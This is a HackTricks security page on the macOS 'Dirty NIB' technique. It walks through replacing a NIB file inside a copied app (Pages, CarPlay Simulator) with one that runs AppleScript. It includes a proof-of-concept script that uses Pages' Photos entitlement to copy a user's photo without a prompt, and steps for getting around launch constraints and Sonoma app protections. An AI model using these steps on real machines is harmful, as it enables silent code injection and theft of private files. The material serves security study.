hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

8.5 KiB
Raw Blame History

macOS Dirty NIB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

This technique was taken from the post https://blog.xpnsec.com/dirtynib/

Basic Information

NIB files are used in Apple's development ecosystem to define user interface (UI) elements and their interactions within an application. Created with the Interface Builder tool, they contain serialized objects like windows, buttons, and text fields, which are loaded at runtime to present the designed UI. Although still in use, Apple has transitioned towards recommending Storyboards for a more visual representation of an application's UI flow.

{% hint style="danger" %} Moreover, NIB files can also be used to run arbitrary commands and if NIB file is modified in an App, Gatekeeper will still allow to execute the app, so they can be used to run arbitrary commands inside applications. {% endhint %}

Dirty NIB Injection

First we need to create a new NIB file, well use XCode for the bulk of the construction. We start by adding an Object to the interface and set the class to NSAppleScript:

For the object we need to set the initial source property, which we can do using User Defined Runtime Attributes:

This sets up our code execution gadget, which is just going to run AppleScript on request. To actually trigger the execution of the AppleScript, well just add in a button for now (you can of course get creative with this ;). The button will bind to the Apple Script object we just created, and will invoke the executeAndReturnError: selector:

For testing well just use the Apple Script of:

set theDialogText to "PWND"
display dialog theDialogText

And if we run this in XCode debugger and hit the button:

With our ability to execute arbitrary AppleScript code from a NIB, we next need a target. Lets choose Pages for our initial demo, which is of course an Apple application and certainly shouldnt be modifiable by us.

Well first take a copy of the application into /tmp/:

cp -a -X /Applications/Pages.app /tmp/

Then well launch the application to avoid any Gatekeeper issues and allow things to be cached:

open -W -g -j /Applications/Pages.app

After launching (and killing) the app the first time, well need to overwrite an existing NIB file with our DirtyNIB file. For demo purposes, were just going to overwrite the About Panel NIB so we can control the execution:

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

Once weve overwritten the nib, we can trigger execution by selecting the About menu item:\

If we look at Pages a bit closer, we see that it has a private entitlement to allow access to a users Photos:

So we can put our POC to the test by modifying our AppleScript to steal photos from the user without prompting:

{% code overflow="wrap" %}

use framework "Cocoa"
use framework "Foundation"

set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"

grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

{% endcode %}

{% hint style="danger" %} Malicious .xib file that executes arbitrary code example. {% endhint %}

Launch Constraints

They basically prevent executing applications outside of their expected locations, so if you copy an application protected by Launch Constrains to /tmp you won't be able to execute it.
Find more information in this post.

However, parsing the file /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4 you can still find applications that aren't protected by Launch Constrains so can could still inject NIB files in arbitrary locations into those (check the previous link to learn how to find these apps).

Extra Protections

From macOS Somona, there are some protections preventing to write inside Apps. However, it's still possible to bypass this protection if, before running your copy of the binary, you change the name of the Contents folder:

  1. Take a copy of CarPlay Simulator.app to /tmp/
  2. Rename /tmp/Carplay Simulator.app/Contents to /tmp/CarPlay Simulator.app/NotCon
  3. Launch the binary /tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator to cache within Gatekeeper
  4. Overwrite NotCon/Resources/Base.lproj/MainMenu.nib with our Dirty.nib file
  5. Rename to /tmp/CarPlay Simulator.app/Contents
  6. Launch CarPlay Simulator.app again
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥